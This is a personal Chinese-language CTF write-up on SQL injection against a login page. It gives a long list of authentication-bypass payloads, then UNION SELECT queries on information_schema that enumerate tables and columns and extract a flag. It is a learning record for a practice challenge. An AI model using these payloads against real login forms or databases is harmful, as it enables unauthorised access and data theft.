登陆页面的Sql注入
自己手工注入的知识比较薄弱,这里就记录一下注入过程
题目:
1.登陆页面,使用sql万能密码可以登陆账号,但是flag不会自己跳出来,出题人是想让我们手工注入
常用万能密码:
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
例子:
select name,pass from Admin where name='admin' and pass='123456'
使用' or 1=1#之后:
select name,pass from Admin where name='' or 1=1 #' and pass='123456'
这里的name单引号被闭合了,后面的or 1=1使得返回结果永远为真,而#号会将多余的东西注释掉,--+号也是同样的用法
2.猜字段,常用order by或者使用length(' or 1=1 length(database())=1#)
从1开始猜,如果所猜字段小于题目字段,返回正常;否则返回失败
猜到4的时候不再返回“欢迎你,ctfshow”,说明题目的字段是3
3.联合查询,查询表名
这里用不用limit都无所谓,顺便提一下:
select * from table limit 2,1;
//跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据
1 ' or 1=1 union select 1,table_name,3 from information_schema.tables#
查询到的所有表名:
注意到最后有一个叫做flag的表名,flag就在里面
4.联合查询,查询列名
' or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='flag'#
结果:
表flag里面只有一个列,名字也叫flag
5.直接获取flag
' or 1=1 union select 1,flag,3 from flag#
flag到手了
附(其他师傅的解题方法):个人觉得不用那么复杂
参考资料:
[Sign]做不出ctf题的时候很痛苦,你只能眼睁睁看着其他人领先你